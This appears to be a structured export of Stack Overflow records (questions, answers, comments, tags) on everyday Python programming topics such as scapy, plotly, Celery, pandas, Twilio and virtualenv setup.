has body: I want to add a PTPv2 Layer to scapy (v2.3.3) in python (v2.7). I added the ptpv2 class with the PTP entries to the file /scapy/layers/inet.py (because PTP is at layer 4). I also bound the ptpv2 layer to the upper layer, in my case Ethernet. bind_layers(Ethernet,ptpv2) By typing the scapy command "ls()" the created ptpv2 layer is listed, ok, success. But by accessing the layer through the python commands for packet in PcapReader('/media/sf_SharedFolder/test.pcap'): if packet[ptpv2].sequenceId == anything: # do sth the following error occurs: File "/usr/lib/python2.7/dist-packages/scapy/packet.py", line 817, in __getitem__ raise IndexError("Layer [%s] not found" % lname) IndexError: Layer [ptpv2] not found The Wireshark file has the layers Frame -> Ethernet -> PTP, so my binding command has to be right. Don't know where the error is. Pls, help me! Thx Chris
tagged with: scapy
answer count: 1
downvote count: 0
favorite count: 0
type: Question
has title: Adding PTPv2 layer to scapy
upvote count: 1
tagged with: python
accepted answer: http://stackoverflow.com/a/46910597

http://stackoverflow.com/q/47008363
has answer: http://stackoverflow.com/a/56851652
has title: 3D Scatter Plot in Plotly using DataFrame
type: UnansweredQuestion
tagged with: python
score: 0
tagged with: plotly
has comment: http://stackoverflow.com/comment/80965503
answer count: 1
has comment: http://stackoverflow.com/comment/80979594
has comment: http://stackoverflow.com/comment/81006604
has body: I would like to generate a 3D Scatter chart using plotly. I've tried two different methods for creating the chart. Netither one has been successful. The first code does not do anything. This was the method that plotly usings in their reference. There is not a traceback error. No chart is shown or generated. import plotly.plotly as py import plotly.graph_objs as go import cufflinks as cf import plotly from plotly.offline import download_plotlyjs, init_notebook_mode, plot,iplot plotly.offline.init_notebook_mode() init_notebook_mode() cf.go_offline() df.iplot(kind='scatter', mode='markers', x='x', y='y', z='label') This next code provides a "NameError: name 'z' is not defined". Are there any tricks or tips to creating a 3D scatter from a dataframe? import plotly.plotly as py import plotly.graph_objs as go import cufflinks as cf import plotly from plotly.offline import download_plotlyjs, init_notebook_mode, plot,iplot plotly.offline.init_notebook_mode() init_notebook_mode() cf.go_offline() trace1 = go.Scatter3d( x=df['x'], y=df['y'], z=df['label'], mode='markers', marker=dict( size=12, color=z, # set color to an array/list of desired values colorscale='Viridis', # choose a colorscale opacity=0.8 ) ) data = [trace1] layout = go.Layout( margin=dict( l=0, r=0, b=0, t=0 ) ) fig = go.Figure(data=data, layout=layout) py.iplot(fig, filename='DF') Trace Back: File "", line 8, in color=z, # set color to an array/list of desired values NameError: name 'z' is not defined The dataframe was generated using the following code: dist = 1 - cosine_similarity(vcx) MDS() mds = MDS(n_components=k, dissimilarity="precomputed", random_state=1) pos = mds.fit_transform(dist) # shape (n_components, n_samples) xs, ys = pos[:, 0], pos[:, 1] df = pd.DataFrame(dict(x=xs, y=ys, label=clusters, title=titles)) I have been able to generate a 3D scatter using the dataframe in pyplot but not in plotly.
type: Question

http://stackoverflow.com/a/48491669
type: Answer
has body: Just posting this here (I don't know why it works) from django.conf import settings app.config_from_object(settings, namespace='CELERY') app.autodiscover_tasks(lambda: settings.INSTALLED_APPS, force=True) force=True seems to be the solution Another thing that works is calling django.setup() before instantiating celery. from __future__ import absolute_import, unicode_literals import os import django from celery import Celery django.setup() # This is key # set the default Django settings module for the 'celery' program. os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'proj.settings') app = Celery('notifs') app.config_from_object('django.conf:settings', namespace='CELERY') app.autodiscover_tasks() This method avoids force=True, import django.conf.settings and seems cleaner to me. Though i still have no idea why you need to call django.setup because It isn't stated in the docs.
score: 4
has comment: http://stackoverflow.com/comment/95257558
answers question: http://stackoverflow.com/q/47043693
downvote count: 1
upvote count: 5

http://stackoverflow.com/comment/81050945
type: Comment
has text: Can't you do `export CVS_RSH=ssh` before you run the `cvs` command?
type: QuestionComment
comment on: http://stackoverflow.com/q/47051689
score: 0

http://stackoverflow.com/comment/80881730
has text: @alfasin See this: [Loops et al](https://wiki.python.org/moin/PythonSpeed/PerformanceTips#Loops)
comment on: http://stackoverflow.com/a/46967117
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/81001186
comment on: http://stackoverflow.com/q/47026820
score: 0
has text: @RayToal thx ur comment!!I achieved my goal little bit,but I added my question to do my ideal thing.If you know something please teach me.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46972161
type: AnsweredQuestion
has title: (Python) Is numpy.polynomial.polynomial broken in numpy 1.13.1 version?
has body: Trying to import numpy and call np.polynomial.polynomial import gym import tensorflow as tf import numpy as np print(np.__version__) methods =[method_name for method_name in dir(np.polynomial) if callable((getattr(np.polynomial, method_name)))] print(methods) polyvalfromroots = np.polynomial.polynomial.polyvalfromroots from policy_gradient import util from policy_gradient.policy import CategoricalPolicy result: 1.13.1 ['Chebyshev', 'Hermite', 'HermiteE', 'Laguerre', 'Legendre', 'Polynomial', '_numpy_tester', 'bench', 'test'] --------------------------------------------------------------------------- AttributeError Traceback (most recent call last) &lt;ipython-input-26-41682dd8722b&gt; in &lt;module&gt;() 6 if callable((getattr(np.polynomial, method_name)))] 7 print(methods) ----&gt; 8 polyvalfromroots = np.polynomial.polynomial.polyvalfromroots 9 from policy_gradient import util 10 from policy_gradient.policy import CategoricalPolicy AttributeError: module 'numpy.polynomial' has no attribute 'polynomial' It has been modified to np.polynomial.Polynomial. But the document here still write numpy.polynomial.polynomial Is that a bug? What version of numpy should I restore to use numpy.polynomial.polynomial ?
score: 1
answer count: 1
upvote count: 1
favorite count: 0
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/80891769
tagged with: arrays
downvote count: 0
has comment: http://stackoverflow.com/comment/80891889
tagged with: python
accepted answer: http://stackoverflow.com/a/46973255
has answer: http://stackoverflow.com/a/46973255

isspace
tag name: isspace
tags question: http://stackoverflow.com/q/47043014
type: Tag

http://stackoverflow.com/comment/80812775
type: Comment
comment on: http://stackoverflow.com/a/46932708
score: 0
type: AnswerComment
has text: @DanielTrugman: there is no official Python compiler, and I doubt the available ones can beat the available C++ optimizers. And you need to compare comparable things, as the data structures in Python are much more flexible, polymorphic and run-time checked. For raw computation, yes, Python could be as fast.

http://stackoverflow.com/a/47077580
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47041288
downvote count: 0
score: 6
has body: In @list_route and @details_route you can add like that @list_route( schema=ManualSchema(fields=[ coreapi.Field( "page", required=True, location="query", schema=coreschema.String() ), coreapi.Field( "page_size", required=True, location="query", schema=coreschema.String() ), coreapi.Field( "product_id", required=True, location="path", schema=coreschema.Integer() ) ]), url_name='product', url_path='product/(?P&lt;product_id&gt;[0-9]+)' )
accepted answer of: http://stackoverflow.com/q/47041288
type: Answer
upvote count: 6

http://stackoverflow.com/q/47041257
favorite count: 0
has comment: http://stackoverflow.com/comment/81031649
type: AnsweredQuestion
has title: Python unit test best practice to avoid monkey patching bug
score: 1
has body: I have just encountered a bug with my unit test, because I was essentially monkey patching in the set up like so: def test_some_class_to_string(): some_class = SomeClass() some_class.foo = 'bar' some_class.monkey_patched = 'baz' assert str(some_class) == 'barbaz' class SomeClass(models.Model): foo = models.CharField(max_length=100) def __str__(self): #monkey_patched property removed from model return '{0}{1}'.format(self.foo, self.monkey_patched) I had removed a property from SomeClass but the str method was still passing in the unit test due to re-adding monkey_patched at runtime. Is it best to deal with this particular situation by calling str(some_class) before any property setup as an additional test, or should I always use keyword arguments to initialise classes in unit tests?
tagged with: python
has answer: http://stackoverflow.com/a/47041995
accepted answer: http://stackoverflow.com/a/47042234
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/47042234
possible better answer: http://stackoverflow.com/a/47041995
downvote count: 0
upvote count: 1
tagged with: unit-testing

http://stackoverflow.com/comment/81022050
has text: Why kind of url's are you using? Changing the 'last few characters' is a quite broad. Could mean changing a '.png' to a '.jpeg' or similar extensions changes. Or .. when using 'tinyurl'-like url's, a completly different url. Bit more information would be useful.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47036949
type: Comment

http://stackoverflow.com/comment/80790881
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46921442
type: Comment
has text: ['5.11' '0.5' '5.61'] ['5.08' '0.5' '5.58'] ['5.06' '0.5' '5.56'] ['4.74' '-0.5' '4.24'] ['' '' ''] ['' '' ''] ['6.486' '1' '7.486'] ['4.687' '-0.5' '4.187'] ['4.488' '-0.5' '3.988'] ['4.34' '-0.5' '3.84']

http://stackoverflow.com/comment/80943505
has text: Please include the relevant code _in the question itself_. Nobody wants to dig through your github repo to figure out where the problem is or how to even start your program.
type: Comment
comment on: http://stackoverflow.com/q/46998380
type: QuestionComment
score: 0

http://stackoverflow.com/a/47006380
has comment: http://stackoverflow.com/comment/80976334
type: Answer
answers question: http://stackoverflow.com/q/47006311
has body: You can use re.sub with a range pattern over the codepoints of interest, and a group backreference in the replacement string (\g&lt;0&gt; will substitute the entire substring matched, or in this case, a single character from the range): import re def pad_space_ifsubset(text): return re.sub(u'[\u31c0-\u31ef]', ' \g&lt;0&gt; ', text) For example: &gt;&gt;&gt; text = u'这是个小㇈㇋伙子' &gt;&gt;&gt; print pad_space_ifsubset(text) 这是个小 ㇈ ㇋ 伙子
has comment: http://stackoverflow.com/comment/80967758
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/81057013
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47006311

http://stackoverflow.com/comment/80788008
comment on: http://stackoverflow.com/q/46920126
has text: yes, it should. I'm not sure where in my code I went wrong though
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/47058298
answers question: http://stackoverflow.com/q/47058278
type: Answer
score: 2
has body: In [34]: df.assign(x=df.groupby('id').cumcount()+1) \ ...: .pivot(index='id', columns='x', values='domain') \ ...: .add_prefix('domain') \ ...: .rename_axis(None, 1) \ ...: .reset_index() ...: Out[34]: id domain1 domain2 domain3 0 111 vk.com facebook.com twitter.com 1 222 avito.ru vk.com None or In [38]: df.assign(x=df.groupby('id').cumcount()+1) \ ...: .set_index(['id','x']) \ ...: ['domain'].unstack('x') \ ...: .rename_axis(None, 1) \ ...: .reset_index() ...: Out[38]: id 1 2 3 0 111 vk.com facebook.com twitter.com 1 222 avito.ru vk.com None
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/80956997
comment on: http://stackoverflow.com/q/47005129
type: QuestionComment
has text: @ Dirk Herrmann, it will be better to just replace certain variable in line, as I will have other lines that I know only one identified word in it before the variable.
score: 0
type: Comment

http://stackoverflow.com/a/47038574
type: Answer
has comment: http://stackoverflow.com/comment/81024374
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/81024009
downvote count: 0
type: AcceptedAnswer
has body: To enable the full screen it is necessary to enable the FullScreenSupportEnabled attribute and accept the fullScreenRequested order of the page. if __name__ == '__main__': app = QApplication(sys.argv) web = QWebEngineView() web.settings().setAttribute(QWebEngineSettings.FullScreenSupportEnabled, True) web.page().fullScreenRequested.connect(lambda request: request.accept()) baseUrl = "local" htmlString = """ """ web.setHtml(htmlString, QUrl(baseUrl)) web.show() sys.exit(app.exec_()) Screenshot:
answers question: http://stackoverflow.com/q/47038091
has comment: http://stackoverflow.com/comment/81024131
accepted answer of: http://stackoverflow.com/q/47038091

http://stackoverflow.com/comment/86179789
comment on: http://stackoverflow.com/q/46939140
has text: If you plan to use numerical operations with python, install those modules inside a [conda](https://conda.io/docs/user-guide/install/download.html) environment. It performances better for math. (*so, do not use brew*)
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/q/47002644
score: 1
answer count: 1
tagged with: python
has answer: http://stackoverflow.com/a/47011417
favorite count: 0
type: Question
has title: django celery delay function dont exetute
downvote count: 0
upvote count: 1
tagged with: django
accepted answer: http://stackoverflow.com/a/47011417
tagged with: rabbitmq
tagged with: celery
has body: hello I want to use celery tasks in my Django project and I try to follow this very good tutorial from Mr.Vitor Freitas. but in my case and if try to run it that tutorial project i don't get results back the functions don't execute and in my case and in tutorial(i take message to wait and refresh and nothing after refresh). Any idea Why ? I think so the problem maybe is in RABBITQM server ?some configuration ? Just install Erlang(otp_win64_20.1.exe) and after RabbitMQ(rabbitmq-server-3.6.12.exe) here example code : settings.py CELERY_BROKER_URL = 'amqp://localhost' celery.py from __future__ import absolute_import import os from celery import Celery os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'mysite.settings') app = Celery('mysite') app.config_from_object('django.conf:settings', namespace='CELERY') app.autodiscover_tasks() tasks.py import string from django.contrib.auth.models import User from django.utils.crypto import get_random_string from celery import shared_task @shared_task def create_random_user_accounts(total): for i in range(total): username = 'user_{}'.format(get_random_string(10, string.ascii_letters)) email = '{}@example.com'.format(username) password = get_random_string(50) User.objects.create_user(username=username, email=email, password=password) return '{} random users created with success!'.format(total) _ _init_ _.py from .celery import app as celery_app __all__ = ['celery_app'] views.py from django.contrib.auth.models import User from django.contrib import messages from django.views.generic import TemplateView from django.views.generic.list import ListView from django.views.generic.edit import FormView from django.shortcuts import redirect from .forms import GenerateRandomUserForm from .tasks import create_random_user_accounts class UsersListView(ListView): template_name = 'core/users_list.html' model = User class GenerateRandomUserView(FormView): template_name = 'core/generate_random_users.html' form_class = GenerateRandomUserForm def form_v…
type: AnsweredQuestion

http://stackoverflow.com/comment/81077051
has text: Are you using Python 2? I changed it to work with Python 2. You should be using Python 3. It's so much better than 2, and 2 is either no longer supported or it will be soon.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47061452
type: AnswerComment

http://stackoverflow.com/q/47051757
has answer: http://stackoverflow.com/a/47060634
favorite count: 0
has title: how can I make an outbound SIP call using Twilio?
score: 2
tagged with: python
has comment: http://stackoverflow.com/comment/81115391
has answer: http://stackoverflow.com/a/47118339
type: Question
tagged with: twilio
has body: I am using a Galaxy 8S android phone with the Samsung SIP settings. I have successfully registered a (Twilio) SIP account on the phone. I want to make an outbound call to an international PSTN Number NOT to another sip address. My SIP doman, on Twilio, points to my heroku app. The code is: @application.route("/makesip", methods=['GET', 'POST']) def makesip(): to_number=request.values.get('To', None), client = Client(ACCOUNT_SID, AUTH_TOKEN) call = client.calls.create(to=to_number, from_="+1415792xxxx", url="https://myapp.herokuapp.com/sipout", method="POST") return call.sid #return "OK" @application.route("/sipout", methods=['GET', 'POST']) def sipout(): response = VoiceResponse() to_number = request.values.get('To', None) dial = Dial(caller_id='+1415792xxxx') dial.number(to_number) response.append(dial) return str(response) When I make the call from my cell phone it hangs up almost immediately and says "Server Error try again later". The Twilio error log says: We don't support dialing out to global twilio domains (domainname.sip.twilio.com). Only regional (domainname.sip.us1.twilio.com) ones are supported. I think that I am making a very fundamental error here but I simply cannot identify it. Can anybody help please? Should I, for example, set the "from_" parameter as "sip:my_sip_address.domainname.sip.us1.twilio.com"?
answer count: 2
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81110044
tagged with: sip
downvote count: 0

http://stackoverflow.com/a/47066488
answers question: http://stackoverflow.com/q/47064007
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/47064007
has body: Casting is very straightforward: from sqlalchemy import cast, Integer from sqlalchemy.dialects.postgresql import array, ARRAY cast(array([]), ARRAY(Integer)) Without seeing what you've tried, I can only speculate that you tried to cast to array(Integer) instead of ARRAY(Integer).
downvote count: 0
upvote count: 21
score: 21

http://stackoverflow.com/comment/80897781
score: 1
has text: It is still up tou you ;) If it is index or columns, it depends for your using. But simpliest is selecting by columns like `df['col']`. As MultiIndex column like `df.xs('col', axis=1, level=0)`. But all works ;)
comment on: http://stackoverflow.com/a/46974532
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/81078488
comment on: http://stackoverflow.com/q/47062882
type: Comment
type: QuestionComment
has text: Are you using Python 3?
score: 0

http://stackoverflow.com/comment/81015016
has text: I'm afraid you lack any baseline knowledge of Python that we could (or should) work with here.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47034420

go
tags question: http://stackoverflow.com/q/46941985
tag name: go
type: Tag

http://stackoverflow.com/comment/81034693
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47043360
score: 0
has text: Also, I tend to prefer the use of `dummy`as it makes explicit it is to throw away.

http://stackoverflow.com/comment/80996871
type: Comment
type: AnswerComment
has text: @MaxU `Fuel` is the desired output for `Fuel_aa_12`
comment on: http://stackoverflow.com/a/47024464
score: 0

http://stackoverflow.com/q/46936235
has answer: http://stackoverflow.com/a/71160985
accepted answer: http://stackoverflow.com/a/47057901
tagged with: django
tagged with: python
tagged with: ubuntu
has comment: http://stackoverflow.com/comment/80826851
has title: virtualenv and virtualenvwrapper "There was a p roblem running the initialization hooks" all of a sudden
type: AnsweredQuestion
tagged with: bash
has comment: http://stackoverflow.com/comment/80826997
answer count: 2
downvote count: 0
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/47057901
has body: So my development environment really hasn't changed for a long time. I am using Bash on Ubuntu on Windows for about a year now. I just apply the regular updates with: sudo apt-get update sudo apt-get upgrade sudo apt-get dist-upgrade Haven't had any issues until last week. When I would workon env and then start up Django, all of these Python errors related to encryption and hashing would come up. Don't really remember what they said, but apparently couldn't find something. I just ignored them because I am in the middle of a project and figured I'd address them later since it is just the dev server. Anyway, I come in yesterday to work and all of a sudden I am getting: -bash: /usr/local/bin/python3.6: No such file or directory virtualenvwrapper.sh: There was a problem running the initialization hooks. If Python could not import the module virtualenvwrapper.hook_loader, check that virtualenvwrapper has been installed for VIRTUALENVWRAPPER_PYTHON=/usr/local/bin/python3.6 and that PATH is set properly. I read a number of SO questions related to this. Basically they all suggested to uninstall virtualenv, virtualenvwrapper, and pip. That is if doing pip3 install --upgrade virtualenvwrapper didn't work, which it didn't. Uninstalled, reinstalled, and left work yesterday with everything seeming to be running fine. Came into work today and the problem is back so I am not sure how to fix it. I am running Python 3.6.3 and PIP3. My ~/.bashrc has the following with some additional lines that I have added to "fix" the issue: export PYTHONPATH=${PYTHONPATH}:/usr/bin export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3.6 export WORKON_HOME=/mnt/c/dev/.venvs export VIRTUALENVWRAPPER_VIRUTALENV_ARGS='--no-site-packages' export PIP_VIRTUALENV_BASE=$WORKON_HOME export PIP_RESPECT_VIRTUALENV=true source /usr/local/bin/virtualenvwrapper.sh The latest error message is: /usr/bin/python3.6: Error while finding module specification for 'virtualenvwrapper.hook_loader' (ModuleNotFoundError: No modul…
possible better answer: http://stackoverflow.com/a/71160985
favorite count: 0
type: Question

http://stackoverflow.com/a/46993409
score: 3
upvote count: 3
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/46992970
has comment: http://stackoverflow.com/comment/80933419
answers question: http://stackoverflow.com/q/46992970
has body: The comments in the output are not always correct. The first output ([]) happens when a function call reaches the end. The first call where this happens is when root is node 1 and from there the first recursive call is made. That call will have None as argument, and so it is the first time a call reaches the print statement. So we have these ongoing calls: checkBST(4) checkBST(2) # left child of 4 checkBST(1) # left child of 2 checkBST(None) # left child of 1 print # --&gt; [] When that deepest call finishes, the function with node 1 will append 1 to the data list, and then make the recursive call for the right child, which also is None and [1] is printed. Here is a visualisation of the process. The columns represent the depth of the recursion, and the rows represent the sequence of events as time progresses (downwards). The last column is reserved for showing what the current value of data is. When it has a yellow background it means it is printed. Light blue means that code is executed at that recursion depth. Darker blue means the corresponding function call is pending (on the stack), waiting for the nested recursive call to return. From this image you can also see why the same output is sometimes repeated: it is printed at different recursion levels as the algorithm is backtracking.
type: Answer

http://stackoverflow.com/comment/80868380
has text: Or you could use lambda expressions instead of relying on string expressions being evaluated.
comment on: http://stackoverflow.com/q/46960127
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46937010
possible better answer: http://stackoverflow.com/a/46937558
upvote count: 3
has answer: http://stackoverflow.com/a/46937558
has title: Filling missing time values in a multi-indexed dataframe
tagged with: multi-index
accepted answer: http://stackoverflow.com/a/46938411
linked to: http://stackoverflow.com/q/38599012
favorite count: 0
type: Question
tagged with: numpy
has answer: http://stackoverflow.com/a/46938411
has answer: http://stackoverflow.com/a/46937621
downvote count: 0
tagged with: reindex
tagged with: python
type: AnsweredQuestion
has body: Problem and what I want I have a data file that comprises time series read asynchronously from multiple sensors. Basically for every data element in my file, I have a sensor ID and time at which it was read, but I do not always have all sensors for every time, and read times may not be evenly spaced. Something like: ID,time,data 0,0,1 1,0,2 2,0,3 0,1,4 2,1,5 # skip some sensors for some time steps 0,2,6 2,2,7 2,3,8 1,5,9 # skip some time steps 2,5,10 Important note the actual time column is of datetime type. What I want is to be able to zero-order hold (forward fill) values for every sensor for any time steps where that sensor does not exist, and either set to zero or back fill any sensors that are not read at the earliest time steps. What I want is a dataframe that looks like it was read from: ID,time,data 0,0,1 1,0,2 2,0,3 0,1,4 1,1,2 # ID 1 hold value from time step 0 2,1,5 0,2,6 1,2,2 # ID 1 still holding 2,2,7 0,3,6 # ID 0 holding 1,3,2 # ID 1 still holding 2,3,8 0,5,6 # ID 0 still holding, can skip totally missing time steps 1,5,9 # ID 1 finally updates 2,5,10 Pandas attempts so far I initialize my dataframe and set my indices: df = pd.read_csv(filename, dtype=np.int) df.set_index(['ID', 'time'], inplace=True) I try to mess with things like: filled = df.reindex(method='ffill') or the like with various values passed to the index keyword argument like df.index, ['time'], etc. This always either throws an error because I passed an invalid keyword argument, or does nothing visible to the dataframe. I think it is not recognizing that the data I am looking for is "missing". I also tried: df.update(df.groupby(level=0).ffill()) or level=1 based on Multi-Indexed fillna in Pandas, but I get no visible change to the dataframe again, I think because I don't have anything currently where I want my values to go. Numpy attempt so far I have had some luck with numpy and non-integer indexing using something like: data = [np.array(df.loc[level].data) for level in df.index.level…
score: 3
answer count: 3
tagged with: pandas

http://stackoverflow.com/q/46942853
tagged with: pandas
possible better answer: http://stackoverflow.com/a/46942954
type: AnsweredQuestion
score: 0
tagged with: http://stackoverflow.com/tag/json
has answer: http://stackoverflow.com/a/46942954
tagged with: python-3.x
type: Question
answer count: 2
has body: I have this json: { "columns": [ { "field": "date", "name": "Date", "type": "dim" }, { "field": "adsetstart_time", "name": "Ad set start time", "type": "dim" }, { "field": "adsetend_time", "name": "Ad set end time", "type": "dim" }, { "field": "adcampaign_id", "name": "Campaign ID", "type": "dim" }, { "field": "cost", "name": "Amount spent", "type": "met" } ], "data": [ [ "2017-10-21", "2017-10-02", "2017-11-01", "6076466058814", 81.32 ], [ "2017-10-21", "2017-10-04", "2017-11-01", "6076547852614", 47.46 ], [ "2017-10-21", "2017-10-04", "2017-11-01", "6076549546014", 128.58 ] ], "notes": { "datasource": "FA", "numeric_format_columns_start": 4, "numeric_format_rows_start": 0, "result_rows": 50, "result_values": 250, "runtime_sec": 3, "status": "success" } } and I want this table: table I'm new to programming, I tried to modify the dictionary structure by creating a new one with the keys-value inside data like this: {"data": ["Date": "2017-10-24", "Ad set start time": "2017-10-16", "Ad set end time": "2017-10-27", "Campaign ID": "6076811156014", "Amount spent": 106.84],... I managed to extract the columns in a list but I can not iterate data to assign each value its corresponding key. What is the best way to create the dataframe from this json structure?
tagged with: dataframe
tagged with: python
accepted answer: http://stackoverflow.com/a/46942946
has title: how to create a pandas.dataframe of a json with values in a list with no key in Python
has answer: http://stackoverflow.com/a/46942946

http://stackoverflow.com/a/50870100
has body: Here is how to do it using another python lib called paramiko import paramiko user_name='ubuntu' instance_id='i-08h873123123' #just an example pem_addr='/Users/folder1/.ssh/jack-aws.pem' # folder path to aws instance key aws_region='us-east-1' instances = ec2.instances.filter(Filters=[{'Name': 'instance-state-name', 'Values': ['running']}]) for instance in instances: if (instance.id==instance_id): p2_instance=instance break; ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) privkey = paramiko.RSAKey.from_private_key_file(pem_addr) ssh.connect(p2_instance.public_dns_name,username=user_name,pkey=privkey) cmd_to_run='dropbox start &amp;&amp; source /home/ubuntu/anaconda3/bin/activate py36 &amp;&amp; cd /home/ubuntu/xx/yy/ &amp;&amp; python3 func1.py' #you can seperate two shell commands by &amp;&amp; or ; stdin4, stdout4, stderr4 = ssh.exec_command(cmd_to_run,timeout=None, get_pty=False) ssh.close()
downvote count: 1
answers question: http://stackoverflow.com/q/46955514
score: 1
type: Answer
upvote count: 2

http://stackoverflow.com/q/46916113
tagged with: python
has body: I am writing a python script function to backup Wordpress. As part of the script i wrote a function to fetch database details from the config.php file. Working of my function function takes Wordpress installation location as an argument and using regex to match db_user,db_host,db_user,db_password from that file, the function will exist if can not find "config.php". I am using sys.exit(1) to exit from the function is that the proper way to exit from a function? I am pasting my function code snippet. def parsing_db_info(location): config_path = os.path.normpath(location+'/config.php') if os.path.exists(config_path): try: regex_db = r'define\(\s*?\'DB_NAME\'\s*?,\s*?\'(.*?)\'\s*?'.group(1) regex_user = r'define\(\s*?\'DB_USER\'\s*?,\s*?\'(.*?)\'\s*?'.group(1) regex_pass = r'define\(\s*?\'DB_PASSWORD\'\s*?,\s*?\'(.*?)\'\s*?'.group(1) regex_host = r'define\(\s*?\'DB_HOST\'\s*?,\s*?\'(.*?)\'\s*?'.group(1) db_name = re.match(regex_db,config_path).group(1) db_user = re.match(regex_user,config_path).group(1) db_pass = re.match(regex_pass,config_path).group(1) db_host = re.match(regex_host,config_path).group(1) return {'dbname':db_name , 'dbuser':db_user , 'dbpass':db_pass , 'dbhost':db_host} except exception as ERROR: print(ERROR) sys.exit(1) else: print('Not Found:',config_path) sys.exit(1) AFTER EDITING def parsing_db_info(location): config_path = os.path.normpath(location+'/wp-config.php') try: with open(config_path) as fh: content = fh.read() regex_db = r'define\(\s*?\'DB_NAME\'\s*?,\s*?\'(.*?)\'\s*?' regex_user = r'define\(\s*?\'DB_USER\'\s*?,\s*?\'(.*?)\'\s*?' regex_pass = r'define\(\s*?\'DB_PASSWORD\'\s*?,\s*?\'(.*?)\'\s*?' regex_host = r'define\(\s*?\'DB_HOST\'\s*?,\s*?\'(.*?)\'\s*?' db_name = re.search(regex_db,content).group(1) db_user = re.search(regex_user,content).group(1) db_pass = re.search(regex_pass,content).group(1) db_host = re.search(regex_host,content).group(1) return {'dbname':db_name , 'dbuser':db_user , 'dbpass':db_pass , 'dbhost':db_host} except File…
favorite count: 0
type: AnsweredQuestion
tagged with: python-3.x
tagged with: python-2.7
has answer: http://stackoverflow.com/a/46918210
tagged with: function
answer count: 1
downvote count: 0
upvote count: 1
accepted answer: http://stackoverflow.com/a/46918210
type: Question
has comment: http://stackoverflow.com/comment/93590984
has title: suggestions for to improve my python function to parse Wordpress/config.php
score: 1
has comment: http://stackoverflow.com/comment/80779634

http://stackoverflow.com/comment/80828397
comment on: http://stackoverflow.com/a/46940403
score: 0
type: Comment
type: AnswerComment
has text: While this may not be the shortest solution, the logical meaning of the statements is very clear, and the execution should be on par with the fastest possible solution. Sometimes simplicity and specificity is better than brevity and cleverness.

http://stackoverflow.com/comment/80846045
type: Comment
score: 0
comment on: http://stackoverflow.com/a/46948915
type: AnswerComment
has text: Thanks so much! It really worked. I found None can also hide the point.

http://stackoverflow.com/a/46924391
has comment: http://stackoverflow.com/comment/80796174
has comment: http://stackoverflow.com/comment/80797233
score: 0
answers question: http://stackoverflow.com/q/46924075
has comment: http://stackoverflow.com/comment/80841569
type: Answer
has body: data = [] numberOfSentinels = 0 group = 1 while numberOfSentinels &lt; 2: number = int(input("Enter a data value or -1 twice to quit: ")) if number != -1: data.append(number) else: numberOfSentinels += 1 if numberOfSentinels == 2: length = len(data) avg = sum(data)/length print("Group %d has %d numbers that average %s" % (group,length, str(avg))) group += 1 data = [] break
has comment: http://stackoverflow.com/comment/80841572
has comment: http://stackoverflow.com/comment/80840018
has comment: http://stackoverflow.com/comment/80831027

http://stackoverflow.com/a/46959018
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/80870642
has body: Why don't you just print the second arguments to then pipe the params ? print(saleOrders) And from the command line : python firstscript.py whateverparamineed | secondscript
answers question: http://stackoverflow.com/q/46941875

http://stackoverflow.com/comment/80933497
type: QuestionComment
comment on: http://stackoverflow.com/q/46993311
type: Comment
score: 0
has text: if `n` was `4`, wouldn't there be `2` problems: there is no centre `index` and in your `example`, all convolutions would have the same `sum`... No?

http://stackoverflow.com/comment/90256171
score: 1
comment on: http://stackoverflow.com/a/49169369
type: Comment
has text: I believe now there are options to change the `font-family` and `font-size` in the Advanced settings?
type: AnswerComment

http://stackoverflow.com/comment/80996773
comment on: http://stackoverflow.com/a/47024510
score: 0
has text: Adding `^` at the beginning of the query halves the number of steps (180 instead of 363)
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/80923299
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46988082
score: 0
has text: hey guys, i am randomly trying different things. Somehow I managed to get a class of tests, rather than all of the tests, to run. I don't know what I did. I will try to figure it out.

http://stackoverflow.com/a/47026553
answers question: http://stackoverflow.com/q/47026522
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81000406
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47026522
score: 1
has comment: http://stackoverflow.com/comment/81000373
has body: I think you just want to print, once you return it returns what is to be returned and ends the function. Also you do not need to set i and increment it, as the for loop automatically does that. The following should work (but i cannot be sure without being provided the initial input) def deps(): for department in dep_tup: total = len(dep_dict[department]) for i in range(len(dep_dict[department])): print("%s with %d employees\n" % (dep_dict[department], total)) print("\n%s: %s, %s, $%f per year\n" % (dep_dict[department][i]["name"], dep_dict[department][i]["position"], dep_dict[department][i]["em_department"], dep_dict[department][i]["salary"])
type: Answer

http://stackoverflow.com/comment/81016052
score: 0
type: Comment
comment on: http://stackoverflow.com/a/46959241
has text: Move `tablewotags = []` out of the loop and at the end use the function to write to the csv. I think, you only need some basics libraries to achieve what you want in other words Pandas is not necesary.
type: AnswerComment

http://stackoverflow.com/comment/81064899
score: 1
type: Comment
